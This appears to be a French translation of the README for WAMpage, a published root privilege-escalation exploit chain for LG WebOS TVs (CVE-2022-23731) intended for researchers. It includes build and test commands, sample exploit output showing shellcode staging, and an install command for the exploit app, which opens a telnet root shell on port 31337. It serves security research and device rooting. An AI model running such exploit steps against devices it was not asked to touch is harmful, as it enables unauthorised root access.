
WAMpage - Une chaîne d'exploitation LPE root pour WebOS (CVE-2022-23731)
WAMpage - Une chaîne d'exploitation de LPE root sur WebOS (CVE-2022-23731)
Cet exploit intéresse principalement les autres chercheurs - si vous voulez simplement rooter votre TV, vous voulez probablement RootMyTV, qui offre un root persistant fiable en un clic.
Ne prend actuellement en charge que WebOS 4.x sur SoC 32 bits. Ce logiciel est fourni EN L'ÉTAT, à utiliser à vos risques et périls, etc. etc.
Writeup : https://www.da.vidbuchanan.co.uk/blog/webos-wampage.html

Prérequis :
apt install qemu-user
npm install -g @webosose/ares-cli
Compilation :
make
make test compilera et exécutera l'exploit dans d8, tournant sous qemu-arm. (Une version pré-compilée de d8 et de ses dépendances est incluse dans le répertoire bin/). Si l'exploit fonctionne correctement, vous obtiendrez probablement quelque chose comme ceci :
[+] Starting WAMpage...
[+] addrof(myobj) = 0x5a68f5d1
[+] Test: reconstructed myobj: {"foo":"bar"}
[+] Set up arbread32/arbwrite32.
[+] stage2 shellcode loaded @ 0xff458000
[+] myfunc @ 0x5a693369
[+] stage1 RWX buf @ 0x5bb8f280
[+] Copied stage1 shellcode. Calling...
Traceback (most recent call last):
File "<stdin>", line 25, in <module>
IOError: [Errno 13] Permission denied: '/dev/mem'
L'erreur de permission est attendue, à moins que votre machine ne soit totalement mal configurée.
Vous pouvez tester l'exploit devmemes.py en l'exécutant directement sur une TV, mais vous aurez besoin soit d'un accès root au départ, soit d'un autre type de shell non sandboxé/non emprisonné.
Vous pouvez utiliser ares-install, ou copier manuellement l'IPK et exécuter ceci depuis le shell devmode :
luna-send-pub -i 'luna://com.webos.appInstallService/dev/install' '{"id":"tv.rootmy.wampage","ipkUrl":"/path/to/wampage.ipk","subscribe":true}'
Lancez l'application et appuyez sur le bouton « Start Exploit ». Si tout se passe bien, un serveur telnet devrait s'ouvrir sur le port 31337.